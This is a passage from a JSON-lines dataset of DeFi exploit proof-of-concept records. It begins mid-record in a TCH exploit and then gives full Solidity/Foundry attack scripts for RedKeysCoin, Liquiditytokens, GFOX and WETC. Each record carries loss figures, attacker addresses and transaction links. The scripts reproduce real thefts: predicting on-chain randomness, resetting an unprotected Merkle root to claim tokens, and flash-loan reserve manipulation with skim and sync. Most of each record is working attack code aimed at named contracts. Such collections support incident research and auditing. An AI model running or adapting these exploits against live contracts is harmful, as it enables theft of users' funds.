1_715_745_662,\n nonce: 147,\n tamperedSig: hex\"261a8ddc13936314ebfe55386963939085b9988cb81e5a03ae26b90cc1c9095d29b5de7fe9f52e6f215c0ab3654d8dd8ab26591985d31ad36b1441c1e2d8867201\"\n });\n burnInfos[17] = BurnInfo({\n amount: 1_715_760_062,\n nonce: 149,\n tamperedSig: hex\"e2fd9d0fe23d72b58dc630a90a41129d298afb4d8928b7ab16961221cf340b4266418a83a0bbb081012509cc32a1f11cc0134b1971f9cfb1ea1a03624b4d897301\"\n });\n burnInfos[18] = BurnInfo({\n amount: 1_715_824_862,\n nonce: 158,\n tamperedSig: hex\"ad8f9d35d99bfc8c22451061bbd44229931460dd0a40f404695b7fcec00c084d23d172dedd17d224e9c1dcaa6b6cb16d66c4eb82151e388d89051dc4a9c42afc00\"\n });\n burnInfos[19] = BurnInfo({\n amount: 1_715_810_462,\n nonce: 156,\n tamperedSig: hex\"a2b44b9507a37b560c7a7bdaaf2f2b669c1b4538bf673d69c515a191bcb0fcba033355a1a6b247d9f36d38b34d7d19885f19a17c2409506912eab6964797986f01\"\n });\n burnInfos[20] = BurnInfo({\n amount: 1_715_774_462,\n nonce: 151,\n tamperedSig: hex\"2fe4c3b574c91ae745e499c489dbead5522f9a6d151d6ae290ebc34ce36558bb026a00b32dcbf59f2727da49602255cadc5a86087fb5043d31825954ddd60c4000\"\n });\n burnInfos[21] = BurnInfo({\n amount: 1_715_853_662,\n nonce: 162,\n tamperedSig: hex\"25c251e946bee3254851064269313c7f834905957299908f9a291d156641dde475fc41770455be71f7cbd765f8fe17f95d6820e916a7800b9c7d1da1f5e76e9d01\"\n });\n burnInfos[22] = BurnInfo({\n amount: 1_715_846_461,\n nonce: 161,\n tamperedSig: hex\"fbe3b8afc1137874bcad881c56b1565b8872e28d89d286c96973b0b175e0b98e6e9921f02a5023b5b140de40745bbcbd238fb9c20f7e3c4579eb2bb05604bdb701\"\n });\n burnInfos[23] = BurnInfo({\n amount: 1_715_738_462,\n nonce: 146,\n tamperedSig: hex\"94cba00c30d200c0e38efafd7bc255a3e53cde44ffe853a3dd79ee5f6dc69d705e553623bd4153e97219c33da85da64533db3c762b302c13200211063e109fe901\"\n });\n burnInfos[24] = BurnInfo({\n amount: 1_715_796_062,\n nonce: 154,\n tamperedSig: hex\"83ab7e79c020b0fd2ec60d93cf5de4afb0662f856cd0c97300ec7d237318f3ee0fd26cfc937133c05e4acd8fbe4cca8c76a586f5f048b322627f929ba0c2344801\"\n });\n burnInfos[25] = BurnInfo({\n amount: 1_715_788_862,\n nonce: 153,\n tamperedSig: hex\"4404d56191c14fbf5cb1ed7a5fd97c8e66f428427d73c5dcea26fd753139877332a4e31ba4a9a3ec87f709ac0c572f62a912a3f05cfd93866c57f34ef0a4f0d900\"\n });\n burnInfos[26] = BurnInfo({\n amount: 1_715_817_661,\n nonce: 157,\n tamperedSig: hex\"6333e4f4f15ebdc68645682c14257f8a0016365a5c8a0a330cffab67f78ce5865493ddbbcbeeeb2d5404a7d788666d207963f9954e37a9f5bb53e0adc21cde3a00\"\n });\n burnInfos[27] = BurnInfo({\n amount: 1_715_854_942,\n nonce: 163,\n tamperedSig: hex\"21af77c9eeaddfbe4b4a764c3d17c4110d443fd2cc32f5b09231b87e284c81940f2a3e32877c4de728f34290760ea7b075712e06b9640a437153a4447cc420b401\"\n });\n burnInfos[28] = BurnInfo({\n amount: 1_715_855_021,\n nonce: 164,\n tamperedSig: hex\"884595f25a0a7abe681730e9cb3c8a4f118e00e723c24947d9189a8965305bdf268c1ae697a2511ef7972210090f2290df99ae7034bd3f6684eca3f0d285742b00\"\n });\n burnInfos[29] = BurnInfo({\n amount: 1_715_855_044,\n nonce: 165,\n tamperedSig: hex\"71a0c08b9d140fe42a594f44143db503d85220ae042f4c9a498f2388679cc71670e1d2457c2d88f1a8c7792ad922b8fa29145b85baab5501035f9f811967eb3301\"\n });\n burnInfos[30] = BurnInfo({\n amount: 1_715_855_198,\n nonce: 166,\n tamperedSig: hex\"cc1dd746893e43723efd75891a6333a485d9d4717a8d8b0c945675770c3567295c21cd69ec1188a5ef5276b4e910a5fba2de7d6f9f38339cfffcc6f27d46861c01\"\n });\n burnInfos[31] = BurnInfo({\n amount: 1_715_839_261,\n nonce: 160,\n tamperedSig: hex\"b6f60a1331ebf0756ce103c5a8cc9392ca7f0b589446ff7e617aab85e5bbeaca3bf66b944a95dd599eec03e3e362d7b571bad1206443b4e5b69ee29609966b0e01\"\n });\n burnInfos[32] = BurnInfo({\n amount: 1_715_832_061,\n nonce: 159,\n tamperedSig: hex\"ed3aedd4a78ce67d7e50192cf4956df09a9b0df07ca65ef126a7c6397d959f372f57ec524d91b7fe86cb7a37545dcfdb56e5e2246b424531ae457a77dc2a46b201\"\n });\n burnInfos[33] = BurnInfo({\n amount: 1_715_803_262,\n nonce: 155,\n tamperedSig: hex\"530b6c435d5555438c37a5c7c3cd55681709ecb778aa73cb800cbb53f8b6eae53eacd1030fd26398bb994a76ab35cd915ce6f1c0032fe66f6a31713fb396088701\"\n });\n\n for (uint256 i; i < burnInfos.length; ++i) {\n BurnInfo memory burnInfo = burnInfos[i];\n TCH.burnToken(burnInfo.amount, burnInfo.nonce, burnInfo.tamperedSig);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "TCH", "date": "2024-05", "file_name": "TCH_exp.sol", "attack_vector": null, "content_hash": "2f2ae0a9ea9360fb", "collected_at": "2026-01-07T10:59:16.541316", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$18K", "total_lost_usd": 18000.0, "attacker_address": "https://bscscan.com/address/0xb9596d6e53d81981b9f06ca2ca6d3e422232d575", "attack_contract": "https://bscscan.com/address/0x258850ec735f6532fe34fe24ef9628992a9b7e84", "vulnerable_contract": "https://bscscan.com/address/0x5d78cfc8732fd328015c9b73699de9556ef06e8e", "attack_tx": "https://bscscan.com/tx/0xa94338d8aa312ed4b97b2a4dcb27f632b1ade6f3abec667e3bf9f002a75dabe0", "postmortem_url": null, "twitter_url": "https://x.com/DecurityHQ/status/1791180322882629713", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$18K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n BUSDT_USDC.flash(address(this), flashAmount, 0, bytes(\"\"));\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$18K", "keyinfo_attacker": "https://bscscan.com/address/0xb9596d6e53d81981b9f06ca2ca6d3e422232d575", "keyinfo_attack_contract": "https://bscscan.com/address/0x258850ec735f6532fe34fe24ef9628992a9b7e84", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x5d78cfc8732fd328015c9b73699de9556ef06e8e", "keyinfo_attack_tx": "https://bscscan.com/tx/0xa94338d8aa312ed4b97b2a4dcb27f632b1ade6f3abec667e3bf9f002a75dabe0", "analysis_postmortem": "", "analysis_twitter": "https://x.com/DecurityHQ/status/1791180322882629713", "funds_lost_formatted": "$18.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "TCH Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\nimport \"forge-std/interfaces/IERC20.sol\";\n\n// @KeyInfo - Total Lost : $12K\n// Attacker : https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601\n// Attack Contract : https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b\n// Vulnerable Contract : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0\n// Attack Tx : https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/SlowMist_Team/status/1794975336192438494\n// Hacking God :\n\ninterface IRedKeysGame {\n function playGame(uint16 choice, uint16 ratio, uint256 amount) external;\n function counter() external view returns (uint256);\n}\n\ncontract RedKeysCoin is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 39_079_951;\n\n IRedKeysGame constant game = IRedKeysGame(0x71e3056aa4985de9f5441f079E6C74454A3C95f0);\n IERC20 constant coin = IERC20(0x00e62b6CCf1fe3e5E01CE07F6232d7F378518b6b);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(coin);\n\n vm.label(address(game), \"RedKeysGame\");\n vm.label(address(coin), \"REDKEYS\");\n\n // prepare for exploit\n deal(address(coin), address(this), 1e9);\n coin.approve(address(game), type(uint256).max);\n }\n\n function testExploit() public balanceLog {\n for (uint256 i = 0; i < 50; i++) {\n // get current counter\n uint256 counter = game.counter();\n\n // estimate bet result by calculating the result of the function randomNumber\n uint16 betResultExpectation = uint16(randomNumber(counter + 1)) % 2;\n\n // play the game\n game.playGame(betResultExpectation, 2, 1e9);\n }\n }\n\n // random number generator with same logic of target contract\n function randomNumber(\n uint256 counter\n ) internal view returns (uint256) {\n uint256 seed = uint256(\n keccak256(\n abi.encodePacked(\n counter + block.timestamp + block.prevrandao\n + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit\n + ((uint256(keccak256(abi.encodePacked(address(this))))) / (block.timestamp)) + block.number\n )\n )\n );\n\n return (seed - ((seed / 1000) * 1000));\n }\n}\n", "type": "exploit_poc", "protocol": "RedKeysCoin", "date": "2024-05", "file_name": "RedKeysCoin_exp.sol", "attack_vector": null, "content_hash": "31dd0a7a07d250b4", "collected_at": "2026-01-07T10:59:16.541404", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "$12K", "total_lost_usd": 12000.0, "attacker_address": "https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601", "attack_contract": "https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b", "vulnerable_contract": "https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0", "attack_tx": "https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427", "postmortem_url": null, "twitter_url": "https://x.com/SlowMist_Team/status/1794975336192438494", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "$12K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n for (uint256 i = 0; i < 50; i++) {\n // get current counter\n uint256 counter = game.counter();\n\n // estimate bet result by calculating the result of the function randomNumber\n uint16 betResultExpectation = uint16(randomNumber(counter + 1)) % 2;\n\n // play the game\n game.playGame(betResultExpectation, 2, 1e9);\n }\n }\n\n // random number generator with same logic of target contract", "has_exploit_code": true, "keyinfo_total_lost": "$12K", "keyinfo_attacker": "https://bscscan.com/address/0x36a6135672035507b772279d99a9f7445f2d1601", "keyinfo_attack_contract": "https://bscscan.com/address/0x471038827c05c87c23e9dba5331c753337fd918b", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x71e3056aa4985de9f5441f079e6c74454a3c95f0", "keyinfo_attack_tx": "https://bscscan.com/tx/0x8d5fb97b35b830f8addcf31c8e0c6135f15bbc2163d891a3701ada0ad654d427", "analysis_postmortem": "", "analysis_twitter": "https://x.com/SlowMist_Team/status/1794975336192438494", "funds_lost_formatted": "$12.0K", "content_richness_score": 7.4, "quality_estimate": "medium", "title": "RedKeysCoin Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : \uff5e200K\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x1350cc72865420ba5d3c27234fd4665ad25c021b0a75ba03bc8340a1b1f98a45\n// Attacker : https://bscscan.com/address/0x6951eb8a4a1dab360f2230fb654551335d560ec0\n// Attack Contract : https://bscscan.com/address/0xbdfbb387fbf20379c016998ac609871c3357d749\n// GUY : https://x.com/EXVULSEC/status/1796499069583724638\n\ninterface Imoney {\n function stakes() external;\n function Send() external;\n}\n\ncontract ContractTest is Test {\n IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x72dCf845AE36401e82e681B0E063d0703bAC0Bba);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 Vow = IERC20(0xF585B5b4f22816BAf7629AEA55B701662630397b);\n IERC20 Vusd = IERC20(0xc0D8DaA6516BaB4eFCe440860987E735BaB44160);\n IERC20 TLN = IERC20(0xf7d142a354322C7560250CaA0e2a06c89649e4C2);\n address Tlnswap = (0x19B3F588BdC9a6f9ecb8255919B02F9ADF053363);\n address VulnContract = 0x028c911C10c9E346158206991E02D09Bd0A8A35b;\n address VulnContract_2 = 0x85F82230883693f1Bbff65be1f7663EE5F0AA5f8;\n uint256 constant PRECISION = 10 ** 18;\n\n function setUp() external {\n vm.createSelectFork(\"bsc\", 39_198_657);\n deal(address(WBNB), address(this), 2 ether);\n deal(address(BUSD), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker BUSD before exploit\", BUSD.balanceOf(address(this)), 18);\n\n Pool.flash(address(this), 19_000_000 ether, 0, \"0x123\");\n\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker Vow after exploit\", Vow.balanceOf(address(this)), 18);\n }\n\n // function attack() internal {\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n //Step 1\n //Tx:https://app.blocksec.com/explorer/0x8d27f9a15b1834e5f9e55d47ec32d01e7fe54f93cfc6ea9d4e8c5fbe72756897\n swap_token_to_tokens(address(WBNB), address(BUSD), address(Vow), 2 ether);\n swap_token_to_token(address(Vow), address(Vusd), 854_320_785_746_786_696_066);\n Vusd.approve(address(Router), 2_000_000 ether);\n Vow.approve(address(Router), 2_000_000 ether);\n Router.addLiquidity(\n address(Vow),\n address(Vusd),\n 854_320_785_746_786_696_066,\n 1_182_464_186_867_710_570_390,\n 0,\n 0,\n address(this),\n block.timestamp + 500\n );\n address HelperExploitContract = create_contract(1);\n //function join(address R e) public\n address(VulnContract).call(abi.encodeWithSelector(bytes4(0x28ffe6c8), address(HelperExploitContract)));\n\n //Step 2\n swap_token_to_token(address(BUSD), address(Vow), 19_000_000 ether);\n\n Pair.transfer(address(HelperExploitContract), 1 ether);\n\n Imoney(HelperExploitContract).stakes();\n\n Pair.approve(address(VulnContract_2), type(uint256).max);\n\n //stake()\n address(VulnContract_2).call(abi.encodeWithSelector(bytes4(0xa694fc3a), 942_253_377_026_177_767_815));\n\n Imoney(HelperExploitContract).Send();\n\n Vow.approve(address(Tlnswap), type(uint256).max);\n TLN.approve(address(Tlnswap), type(uint256).max);\n\n //function lock(uint256 amount) external(Use function selector)\n address(Tlnswap).call(abi.encodeWithSelector(bytes4(0xdd467064), 3_199_510_344_301_177_871_795_565));\n\n swap_token_to_token(address(Vusd), address(Vow), 3_199_510 ether);\n swap_token_to_token(address(Vow), address(BUSD), 800_000 ether);\n\n BUSD.transfer(msg.sender, 19_000_000 * 1e18 + fee0);\n }\n\n function swap_token_to_tokens(address a, address b, address c, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](3);\n path[0] = address(a);\n path[1] = address(b);\n path[2] = address(c);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function getbalance() public {\n emit log_named_decimal_uint(\"this token balance\", Vow.balanceOf(address(this)), Vow.decimals());\n }\n\n function getreserves(\n uint256 stepNum\n ) public {\n console.log(\"Step %i\", stepNum);\n (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();\n emit log_named_decimal_uint(\"ReserveIn\", reserveIn, 1);\n emit log_named_decimal_uint(\"ReserveOut\", reserveOut, 18);\n }\n\n function cal_address(\n uint256 time\n ) internal returns (address) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = time;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n return hack_contract;\n }\n\n function create_contract(\n uint256 times\n ) internal returns (address) {\n uint256 i = 0;\n while (i < times) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = i;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n // Use create2 to Send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n i++;\n return hack_contract;\n }\n }\n\n receive() external payable {}\n}\n\ncontract Money is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x72dCf845AE36401e82e681B0E063d0703bAC0Bba);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 TLN = IERC20(0xf7d142a354322C7560250CaA0e2a06c89649e4C2);\n address VulnContract = 0x028c911C10c9E346158206991E02D09Bd0A8A35b;\n address VulnContract_2 = 0x85F82230883693f1Bbff65be1f7663EE5F0AA5f8;\n address Referer = 0xEB1Df3Bed5bd20c010CAAd4EE18Ff7A697334E68;\n uint256 constant PRECISION = 10 ** 18;\n address owner;\n\n constructor() {\n owner = msg.sender;\n address(VulnContract).call(abi.encodeWithSelector(bytes4(0x60410fbb), 1));\n address(VulnContract).call(abi.encodeWithSelector(bytes4(0x28ffe6c8), address(Referer)));\n }\n\n function stakes() external {\n require(owner == msg.sender, \"error\");\n Pair.approve(address(VulnContract_2), type(uint256).max);\n //stake\n address(VulnContract_2).call(abi.encodeWithSelector(bytes4(0xa694fc3a), 1 ether));\n }\n\n function Send() public {\n require(owner == msg.sender, \"error\");\n TLN.transfer(address(msg.sender), TLN.balanceOf(address(this)));\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Liquiditytokens", "date": "2024-05", "file_name": "Liquiditytokens_exp.sol", "attack_vector": null, "content_hash": "2619ce248a744463", "collected_at": "2026-01-07T10:59:16.541496", "_source": "postmortems", "chain": "bsc", "block_number": 39198657, "total_lost_raw": "\uff5e200K", "total_lost_usd": 200000.0, "attacker_address": "https://bscscan.com/address/0x6951eb8a4a1dab360f2230fb654551335d560ec0", "attack_contract": "https://bscscan.com/address/0xbdfbb387fbf20379c016998ac609871c3357d749", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "high", "severity_raw": "\uff5e200K", "category": "unknown", "exploit_code": "function attack() internal {", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x6951eb8a4a1dab360f2230fb654551335d560ec0", "keyinfo_attack_contract": "https://bscscan.com/address/0xbdfbb387fbf20379c016998ac609871c3357d749", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200.0K", "content_richness_score": 7, "quality_estimate": "medium", "title": "Liquiditytokens Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\nimport \"forge-std/console.sol\";\n\n// @KeyInfo - Total Lost : 330K\n// Attacker : https://etherscan.io/address/0xFcE19F8f823759b5867ef9a5055A376f20c5E454\n// Attack Contract : https://etherscan.io/address/0x86C68d9e13d8d6a70b6423CEB2aEdB19b59F2AA5\n// Vulnerable Contract : https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686\n// Attack Tx : https://etherscan.io/tx/0x12fe79f1de8aed0ba947cec4dce5d33368d649903cb45a5d3e915cc459e751fc\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686#code\n\n// @Analysis\n// Post-mortem : https://neptunemutual.com/blog/how-was-galaxy-fox-token-exploited/\n// Twitter Guy : https://twitter.com/CertiKAlert/status/1788751142144401886\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface IVictim {\n function setMerkleRoot(\n bytes32 _merkleRoot\n ) external;\n\n function claim(address to, uint256 amount, bytes32[] calldata proof) external;\n}\n\ncontract GFOXExploit is Test {\n uint256 blocknumToForkFrom = 19_835_924;\n IERC20 private gfox;\n IVictim private victim;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n gfox = IERC20(0x8F1CecE048Cade6b8a05dFA2f90EE4025F4F2662);\n victim = IVictim(0x11A4a5733237082a6C08772927CE0a2B5f8A86B6);\n }\n\n modifier balanceLog() {\n emit log_named_decimal_uint(\"Attacker GFOX Balance Before exploit\", getBalance(gfox), 18);\n _;\n emit log_named_decimal_uint(\"Attacker GFOX Balance After exploit\", getBalance(gfox), 18);\n }\n\n function testExploit() external balanceLog {\n //implement exploit code here\n // the amount of GFOX to be transferred\n uint256 amount = 1_780_453_099_185_000_000_000_000_000;\n // set the merkle root\n bytes32 root = _merkleRoot(address(this), amount);\n victim.setMerkleRoot(root);\n // claim the GFOX\n victim.claim(address(this), amount, new bytes32[](0));\n }\n\n function _merkleRoot(address to, uint256 amount) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(to, amount));\n }\n\n function getBalance(\n IERC20 token\n ) private view returns (uint256) {\n return token.balanceOf(address(this));\n }\n}\n", "type": "exploit_poc", "protocol": "GFOX", "date": "2024-05", "file_name": "GFOX_exp.sol", "attack_vector": null, "content_hash": "520d755f8b36e472", "collected_at": "2026-01-07T10:59:16.541574", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "330K", "total_lost_usd": 330000.0, "attacker_address": "https://etherscan.io/address/0xFcE19F8f823759b5867ef9a5055A376f20c5E454", "attack_contract": "https://etherscan.io/address/0x86C68d9e13d8d6a70b6423CEB2aEdB19b59F2AA5", "vulnerable_contract": "https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686", "attack_tx": "https://etherscan.io/tx/0x12fe79f1de8aed0ba947cec4dce5d33368d649903cb45a5d3e915cc459e751fc", "postmortem_url": "https://neptunemutual.com/blog/how-was-galaxy-fox-token-exploited/", "twitter_url": "https://twitter.com/CertiKAlert/status/1788751142144401886", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "330K", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "330K", "keyinfo_attacker": "https://etherscan.io/address/0xFcE19F8f823759b5867ef9a5055A376f20c5E454", "keyinfo_attack_contract": "https://etherscan.io/address/0x86C68d9e13d8d6a70b6423CEB2aEdB19b59F2AA5", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x47c4b3144de2c87a458d510c0c0911d1903d1686", "keyinfo_attack_tx": "https://etherscan.io/tx/0x12fe79f1de8aed0ba947cec4dce5d33368d649903cb45a5d3e915cc459e751fc", "analysis_postmortem": "https://neptunemutual.com/blog/how-was-galaxy-fox-token-exploited/", "analysis_twitter": "https://twitter.com/CertiKAlert/status/1788751142144401886", "funds_lost_formatted": "$330.0K", "content_richness_score": 5.2, "quality_estimate": "medium", "title": "GFOX Exploit (2024-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 101k USD\n// Attacker : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe\n// Attack Contract : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe\n// Vulnerable Contract : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688\n// Attack Tx : https://bscscan.com/tx/0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d615\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688#code\n\n// @Analysis\n// Post-mortem : https://t.me/evmhacks/78?single\n// Twitter Guy : N/A\n// Hacking God : N/A\n\n\ncontract WETC is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 54333337;\n uint256 borrowAmount = 1000000000000000000000000;\n\n address constant busd_wetc_cakeLP = 0x8e2cc521b12dEBA9A20EdeA829c6493410dAD0E3;\n address constant pancakeV3Pool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;\n address constant wetc = 0xE7f12B72bfD6E83c237318b89512B418e7f6d7A7;\n address constant busd = 0x55d398326f99059fF775485246999027B3197955;\n address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Change this to the target token to get token balance of, Keep it address(0) if it's ETH\n fundingToken = address(busd);\n }\n\n function testExploit() public balanceLog {\n // The exploit begins by taking a large flash loan from a PancakeSwap V3 pool.\n IPancakeV3Pool(pancakeV3Pool).flash(address(this), borrowAmount, 0, \"\");\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256, bytes memory) public {\n // The core of the exploit involves manipulating the reserves of the BUSD/WETC PancakeSwap V2 pool.\n // 1. A small initial swap is performed.\n IPancakePair(busd_wetc_cakeLP).swap(1000, 6994607918395778704138079, address(this), \"0x00\");\n\n // 2. Large amounts of WETC are directly transferred to the LP pair contract.\n // The `skim` function is then called. `skim` is designed to collect excess tokens sent to the pair contract.\n // By sending tokens and then calling skim, the attacker forces the pool's internal reserves out of sync with its actual token balances.\n IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3533285263192068394666304);\n IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);\n // `sync` is called to update the reserves to the now-inflated token balances, distorting the price.\n IPancakePair(busd_wetc_cakeLP).sync();\n\n // This process is repeated to further manipulate the reserves.\n IERC20(wetc).transfer(address(busd_wetc_cakeLP), 27354466553745045636126);\n IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);\n IPancakePair(busd_wetc_cakeLP).sync();\n\n // 3. Small amounts of BUSD and more WETC are transferred in.\n IERC20(busd).transfer(address(busd_wetc_cakeLP), 10000);\n IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3433968188649965263835649);\n \n // 4. With the price heavily manipulated, the attacker swaps the remaining assets for a large amount of BUSD.\n IPancakePair(busd_wetc_cakeLP).swap(351495403570120114936199, 0, address(this), \"\");\n\n // 5. The flash loan is repaid with the required fee. The remaining BUSD is the profit.\n uint256 repayAmount = borrowAmount + fee0;\n IERC20(busd).transfer(address(pancakeV3Pool), repayAmount);\n } \n\n function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) public {\n // This function is called by the PancakeSwap pair during the first swap.\n // The attacker uses this callback to send the flash-loaned BUSD to the pair to cover the swap input.\n IERC20(busd).transfer(address(busd_wetc_cakeLP), 250000000000000000002000);\n }\n}", "type": "exploit_poc", "protocol": "WETC_Token", "date": "2025-07", "file_name": "WETC_Token_exp.sol", "attack_vector": null, "content_hash": "9cd0c57c99f797e5", "collected_at": "2026-01-07T10:59:16.541625", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "101k USD", "total_lost_usd": 101000.0, "attacker_address": "https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe", "attack_contract": "https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe", "vulnerable_contract": "https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688", "attack_tx": "https://bscscan.com/tx/0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d615", 